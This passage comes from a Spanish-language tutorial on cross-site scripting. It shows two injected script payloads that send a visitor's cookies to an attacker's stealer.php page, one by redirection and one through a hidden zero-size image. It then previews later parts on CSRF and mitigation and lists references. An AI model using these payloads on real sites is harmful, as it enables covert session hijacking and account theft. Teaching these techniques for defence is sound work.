Un problema con el ataque anterior es que el usuario notará la redirección, debido a que el browser ahora apunta a http://www.malomalo.com/stealer.php?cookie=lacookie. Por suerte, existen formas de evitar esto. Si queremos que el usuario siga viendo la página que estaba visitando y que la cookie se envíe de forma transparente, en lugar de insertar el código <script>document.location="http://www.malomalo.com/stealer.php?cookie="+document.cookie;</script> podríamos insertar este otro código:
<SCRIPT>document.write('<IMG WIDTH="0" HEIGHT="0" SRC="http://localhost/stealer.php?cookie='+document.cookie+'"')</SCRIPT>
Con el código anterior, el usuario no notará nada extraño a simple vista. Utilizamos el tag IMG para cargar el script del atacante con la cookie robada, y dado que la imagen es de tamaño 0, el browser no la muestra! Esto es mucho mejor que antes, dado que no necesitamos redirigir el browser a la página maligna.
Por supuesto que existen otras formas de realizar este mismo ataque, éste es sólo un ejemplo.


Y esto cómo sigue?

Debido a la cantidad de información que tengo sobre XSS y dado que es un tema que me gusta mucho y es muy importante hoy en día, decidí partir el artículo en partes. Esta primera parte fue bastante larga, pero creo que si la partía el tema no quedaba completo.
Lo que vendrá en las siguientes partes es explicar XSS avanzado (CSRF, XSS Tunneling, XSS con POST) y métodos de mitigación en distintos lenguajes de programación, pero si surge algo más, tal vez se extienda a otros artículos. Así que stay tuned!


Algunas referencias

Cross Site Scripting Techniques and mitigation
Cross Site Scripting (XSS) FAQ
HTML Code Injection and Cross Site Scripting
Cross Site Scripting wiki
Principales vulnerabilidades en aplicaciones Web - presentación Christian Martorella